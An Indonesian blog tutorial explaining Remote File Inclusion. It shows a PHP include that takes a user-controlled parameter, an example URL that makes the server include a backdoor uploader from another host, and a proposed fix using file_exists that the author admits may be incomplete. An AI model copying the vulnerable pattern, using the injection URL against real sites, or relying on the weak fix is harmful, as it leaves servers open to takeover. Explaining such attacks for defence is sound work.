u4y8Gs9fLTrJjhsijGL4SHOQBnG6Rdcc2m5wWn1z
Bookmark
Ezpedia

Pengertian Remote File Inclusion dan cara menutup bugnya


Pengertian Remote File Inclusion


Remote File Incusion (RFI) adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses. Tujuan hacker melakukan serangan ini adalah menyisipkan script berbahaya dari domain luar biasanya berupa backdoor/shell ke dalam server target.

Akibat dari serangan ini adalah hacker dapat mengambil alih server, pencurian data/informasi, merubah tampilan(deface).









Ini adalah contoh program yang menyebabkan RFI dapat dieksploitasi
oleh hacker. Misal programmer membuat fungsi include file yang tujuannya
untuk memanggil file untuk di-include kan secara dinamis.

<?php

if(isset($_GET['q'])){

    $q = $_GET['q'];

    if(!empty($q)){

           include $q;

    }else{

        include 'home.php';

    }

}else{

    include 'home.php';

}

?>
Misal penggunaan kode tersebut untuk memanggil halaman kontak melalui URL :

http://127.19.28.22:8000/blog/RFI/?q=tentang.php


Maka hacker akan melakukan expoitasi RFI dengan memanggil backdoor
yang telah ditanam sebelumnya di suatu host.

Sehingga URL dimanipulasi
seperti berikut :

http://127.19.28.22:8000/blog/RFI/?q=http://localhost:8080/mini_uploader.php




Dan dapat dilihat sekarang hacker dapat menguasai server.

Cara mencegah/menutup celah keamanan(Bug RFI)

Cara untuk mencegah serangan RFI adalah dengan cara
melakukan sanitasi inputan dari user, inputan dapat melalui banyak celah
diantaranya :
  1. Parameter Request (POST/GET)

  2. HTTP Header

  3. Cookie

Dalam melakukan filter inputan sebaiknya menggunakan cara kerja
whitelist yaitu mendaftarkan karakter apa saja yang diperbolehkan. Disini saya melakukan filter/sanitasi menggunakan cara saya sendiri, yaitu dengan mengecek apakah di dalam suatu server(Dir) tersebut terdapat sebuah file yang dipanggil oleh user, berikut contohnya

<?php


if(isset($_GET['q'])){


 $q = $_GET['q'];


 if(!empty($q)){


  if(file_exists($q)){


   include $q;


  }else{


   include 'home.php';


  }


 }else{


  include 'home.php';


 }


}else{


 include 'home.php';


}


?>
Cara diatas mungkin tidak dapat menutup kemanan sepenuhnya, tapi setidaknya saya pernah mencobanya. Wokehh thx dah berkunjung. Ingin mendownload source code web security diatas? klik Disini
Posting Komentar

Posting Komentar